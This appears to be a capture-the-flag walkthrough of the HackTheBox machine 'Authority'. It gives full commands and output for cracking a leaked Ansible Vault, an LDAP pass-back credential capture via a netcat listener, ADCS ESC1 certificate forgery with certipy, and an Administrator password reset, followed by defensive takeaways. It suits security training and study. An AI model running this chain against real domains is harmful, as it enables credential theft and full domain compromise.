HTB Authority: Medium Walkthrough – Ansible Vault, LDAP Pass-Back, and ADCS ESC1
Introduction
Authority is a Medium-difficulty Windows Active Directory machine that packs three distinct attack techniques into one chain: credential harvesting from an Ansible Vault, a lesser-known LDAP pass-back attack against a self-hosted password manager (PWM), and a classic ADCS ESC1 misconfiguration to seize full control of the domain.
It’s a great machine for anyone who already knows the AD basics and wants to see how real-world DevOps tooling (Ansible, configuration management, service accounts) becomes an attack surface in its own right — and how AD Certificate Services, when misconfigured, can turn “any authenticated user” into “Domain Admin.”
Attack Chain Summary
Recon (Nmap/SMB null session) → anonymous read on "Development" share
→ Ansible playbook files → tomcat-users.xml.j2 (dead end) + Ansible Vault (!vault block)
→ ansible2john + John (rockyou) → vault master password cracked
→ decrypt vault → svc_pwm creds + LDAP admin password (wrong account)
→ login to PWM web app (Tomcat :8443) as svc_pwm
→ reconfigure PWM's LDAP target to attacker IP → LDAP Pass-Back Attack
→ capture svc_ldap cleartext credentials via netcat listener
→ WinRM as svc_ldap → user.txt
→ certipy find → ESC1 on "CorpVPN" template
→ MachineAccountQuota abuse (impacket-addcomputer) → machine account
→ certipy req (ESC1) → forged cert for administrator@authority.htb
→ certipy -ldap-shell → grant_control (GenericAll on Administrator)
→ bloodyAD → reset Administrator password
→ wmiexec as Administrator → root.txt
Reconnaissance
The initial Nmap scan shows a textbook Domain Controller footprint, plus an unusual extra: Apache Tomcat on 8443.
# Fix a 4-hour clock skew detected on the DC — required for Kerberos auth later
sudo ntpdate 10.129.30.70
# Add the discovered hostnames/SANs to /etc/hosts
echo "10.129.30.70 authority.htb authority.test authority authority.test.corp test.corp TEST" | sudo tee -a /etc/hosts
PORT STATE SERVICE
53/tcp open domain # DNS
80/tcp open http # IIS 10.0
88/tcp open kerberos-sec # Kerberos
135/tcp open msrpc
389/tcp open ldap
445/tcp open microsoft-ds # SMB
593/tcp open ncacn_http
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman # WinRM
8443/tcp open https-alt # Apache Tomcat
For a beginner, the ports worth remembering here:
- 88/389/445 together confirm this is an Active Directory Domain Controller.
- 636/3269 are the encrypted (SSL) equivalents of LDAP/Global Catalog — useful for pulling certificate SANs even when a normal port scan won’t reveal internal hostnames.
- 5985 (WinRM) is our expected remote-shell target once we have valid domain credentials.
- 8443 (Tomcat) is unusual on a DC and immediately stands out as a custom application worth investigating — historically a frequent initial access vector.
ntpdate matters because Kerberos rejects requests when the client and server clocks drift by more than about 5 minutes — this box had a deliberate 4-hour skew that breaks every Kerberos-based tool until corrected.
A quick SSL certificate inspection on port 636 also revealed the domain’s real internal name via the certificate’s Subject Alternative Name field:
openssl s_client -connect 10.129.30.70:636 -showcerts </dev/null 2>/dev/null \
| openssl x509 -noout -text | grep -A2 "Subject Alternative Name"
othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
Enumeration
SMB — null session and anonymous shares
NetExec confirms SMB null authentication is allowed, meaning we can connect without any credentials at all:
nxc smb 10.129.30.70 -u '' -p '' --pass-pol --shares
[*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (Null Auth:True)
[+] authority.htb\:
Listing shares anonymously and checking permissions with smbmap shows most shares deny anonymous access, but one — Development — is world-readable:
smbclient -N -L //10.129.30.70
smbmap -H 10.129.30.70 -u null
Development READ ONLY
An automated recursive dump via NetExec’s spider_plus module failed with STATUS_ACCESS_DENIED — the DC blocks the RPC calls that module relies on for global share enumeration under an anonymous session. The fix was to fall back to smbclient directly against the one accessible share:
smbclient -N //10.129.30.70/Development -c "prompt OFF; recurse ON; mget *"
This pulled down a full folder tree: Automation/Ansible/{ADCS,LDAP,PWM,SHARE} — the remnants of an Ansible-based infrastructure automation setup, left accessible on a file share.
Foothold / Initial Access
Step 1 — Ansible Vault: cracking a password vault leaked over SMB
Grepping the downloaded files for credential-related keywords surfaced a Tomcat user template:
grep -riE 'pass|pwd|secret|token|key|credential|vault' Automation/
Automation/Ansible/PWM/templates/tomcat-users.xml.j2:
<user username="admin" password="T0mc@tAdm1n" roles="manager-gui"/>
<user username="robot" password="T0mc@tR00t" roles="manager-script"/>
These looked promising — but turned out to be a dead end. Attempting the Metasploit tomcat_mgr_deploy module against port 8443 failed with Unable to automatically select a target, because port 8443 doesn’t actually serve the Tomcat Manager: it redirects straight into a self-hosted password manager application, PWM (Password Web Manager), at /pwm/private/login.
The real find was in Automation/Ansible/PWM/defaults/main.yml, where sensitive variables were encrypted using Ansible Vault — Ansible’s built-in mechanism for storing secrets (API keys, passwords) inside playbooks as !vault blocks, encrypted with AES256 under a single master password.
What Ansible Vault is and why it matters here: Ansible Vault encrypts individual YAML values (or whole files) so secrets can be safely committed to version control or, in this case, sit inside an automation share. The security of the entire scheme rests on the strength of the vault’s master password — if that password is weak, the encryption provides no real protection, because the underlying key derivation (PBKDF2-HMAC-SHA256) can be brute-forced offline just like a password hash.
The vault block was mixed in with plaintext YAML, so tools couldn’t parse the whole file directly. The block was isolated into its own file, then converted into a crackable hash format for John the Ripper:
# Extract a John-compatible hash from the isolated vault block
ansible2john /tmp/variable_chiffree.txt > /tmp/hash_pour_john.txt
# Dictionary attack
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash_pour_john.txt
John cracked the master password almost instantly: !@#$%^&*.
With the master password in hand, a short Python script using the ansible-vault library decrypted the PWM configuration variables, revealing:
Service account (PWM Admin): svc_pwm : pWm_@dm!N_!23
LDAP admin password (from global config): S3cur3_LD@P_P@ss!
Step 2 — LDAP Pass-Back Attack against the PWM application
The natural next step was to try these credentials against SMB, LDAP, and WinRM directly:
nxc smb 10.129.30.70 -u 'svc_pwm' -p 'pWm_@dm!N_!23' --users
# [+] authority.htb\svc_pwm:pWm_@dm!N_!23 (Guest)
svc_pwm authenticated, but only as a Guest — it isn’t a real Active Directory domain account, just a local application login used by the PWM web app itself. That ruled out RPC/LDAP enumeration with these creds directly.
Instead, the PWM login gave web access to the application’s admin panel. Digging through PWM’s own error messages revealed a critical detail:
unable to bind to ldaps://authority.authority.htb:636 as CN=svc_ldap,OU=Service Accounts,...
PWM connects to Active Directory in the background using a real domain service account, svc_ldap, but that connection was failing due to a DNS/certificate validation issue (PKIX path building failed) on the LDAPS (encrypted, port 636) endpoint.
This is the setup for an LDAP Pass-Back attack: if an application authenticates to an LDAP directory using a stored service account, and an attacker can control which LDAP server the application connects to (via an admin configuration panel), the attacker can point that connection at their own machine. When the application “tests” the connection, it sends its LDAP bind request — including the service account’s credentials — straight to the attacker instead of the real directory.
Steps taken:
# 1. Start a listener to catch the plaintext LDAP bind request
sudo nc -lvnp 389
- Logged into the PWM admin configuration UI as
svc_pwm, and changed the configured LDAP server URL from the real DC to the attacker box, using the unencryptedldap://scheme (port 389) instead of LDAPS — bypassing the certificate issue that was blocking the legitimate connection. - Clicked “Test Connection” in the PWM admin panel, triggering PWM to immediately attempt a bind against the attacker-controlled listener.
CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb lDaP_1n_th3_cle4r!
The bind request arrived on the netcat listener in cleartext, exposing the real domain service account: svc_ldap : lDaP_1n_th3_cle4r!.
Step 3 — WinRM access and user.txt
svc_ldap is a genuine AD account with remote management rights:
nxc winrm 10.129.30.70 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'
evil-winrm -i 10.129.30.70 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'
*Evil-WinRM* PS C:\Users\svc_ldap\desktop> type user.txt
[redacted]
Privilege Escalation
ADCS enumeration: finding ESC1
With a valid low-privilege domain account, the next step was to check Active Directory Certificate Services (ADCS) for misconfigured certificate templates using Certipy:
certipy find -u 'svc_ldap@authority.htb' -p 'lDaP_1n_th3_cle4r!' -dc-ip 10.129.30.70 -vulnerable -stdout
Template Name : CorpVPN
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.
What ESC1 is: it’s one of the most common ADCS misconfigurations. A certificate template has Enrollee Supplies Subject enabled, meaning the person requesting the certificate gets to specify whose identity the certificate represents (via a Subject Alternative Name), rather than the CA enforcing it automatically to match the requester. Combined with the template also permitting Client Authentication, this lets any account allowed to enroll request a certificate that Kerberos/Schannel will accept as proof of being a completely different user — including, in this case, the Administrator.
Obstacle 1: enrollment restricted to machine accounts
A direct request as svc_ldap failed:
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED
The CorpVPN template’s enrollment rights were restricted to Domain Computers — only machine accounts, not regular users, could request it. The fix: abuse MachineAccountQuota, an AD default (typically 10) that lets any authenticated domain user create up to that many new computer accounts of their own:
# Confirm the quota is non-zero
bloodyAD -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -d authority.htb --host 10.129.30.70 \
get object 'DC=authority,DC=htb' --attr ms-DS-MachineAccountQuota
# ms-DS-MachineAccountQuota: 10
# Create a machine account we fully control
impacket-addcomputer -dc-ip '10.129.30.70' 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!' \
-computer-name 'FOOBAR$' -computer-pass 'CompPass123!'
With a machine account in hand, the ESC1 request succeeded, using the -upn flag to impersonate the Administrator in the certificate’s SAN:
certipy-ad req -u 'FOOBAR$' -p 'CompPass123!' -dc-ip '10.129.30.70' \
-target 'authority.authority.htb' -ca 'AUTHORITY-CA' -template 'CorpVPN' \
-upn 'administrator@authority.htb'
[*] Got certificate with UPN 'administrator@authority.htb'
[*] Saving certificate and private key to 'administrator.pfx'
Obstacle 2: Kerberos PKINIT not supported
The natural next step — using the forged certificate to request a Kerberos TGT — failed:
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP
The DC didn’t support PKINIT (certificate-based Kerberos pre-authentication) in a way Certipy’s default flow expected. Rather than fight Kerberos, the pivot was to authenticate the certificate over LDAPS/Schannel instead, using Certipy’s built-in interactive LDAP shell:
certipy-ad auth -pfx administrator.pfx -dc-ip '10.129.30.70' -ldap-shell
Because the certificate is bound to the Administrator’s identity, this LDAP session operates as the Administrator — enough to directly modify Active Directory ACLs:
# grant_control administrator svc_ldap
'svc_ldap' now has control of 'CN=Administrator,CN=Users,DC=authority,DC=htb'
This grants svc_ldap GenericAll (full control) over the Administrator object, which is enough to reset the Administrator’s password outright — no need to crack or reuse the certificate any further:
bloodyAD -d authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!' --host 10.129.30.70 \
set password administrator 'PwnedPassword123!'
Root
With a known Administrator password, a straightforward wmiexec session gives full command execution:
impacket-wmiexec 'authority.htb/administrator:PwnedPassword123!@10.129.30.70'
C:\users\administrator\Desktop>type root.txt
[redacted]
Flags
User flag : [redacted — never publish real flags]
Root flag : [redacted]
Key Takeaways
- Secrets don’t stop being secrets because they’re encrypted with a weak password. Ansible Vault is only as strong as its master password —
!@#$%^&*was cracked by John in seconds against rockyou. Vault passwords need the same entropy requirements as any other credential. - File shares are a common leak point for automation secrets. An anonymous-readable SMB share containing Ansible playbooks handed over the entire initial-access chain. Configuration management repositories should never be reachable without authentication.
- Any app that holds LDAP bind credentials and lets an admin change the LDAP server address is a pass-back attack waiting to happen. If you control the target server of an authentication test, you control what the app sends it — including cleartext service account credentials if the app can be coerced onto plaintext LDAP.
MachineAccountQuotais a privilege escalation primitive, not just an AD quirk. Any authenticated user can normally create up to 10 computer accounts by default — a common way around “computer-only” enrollment restrictions in ADCS abuse chains.- ESC1 remains one of the most impactful and common ADCS misconfigurations. A template that lets the requester supply their own SAN while allowing client authentication is effectively an identity-forging machine — always audit
Enrollee Supplies Subjecton any client-auth-capable template.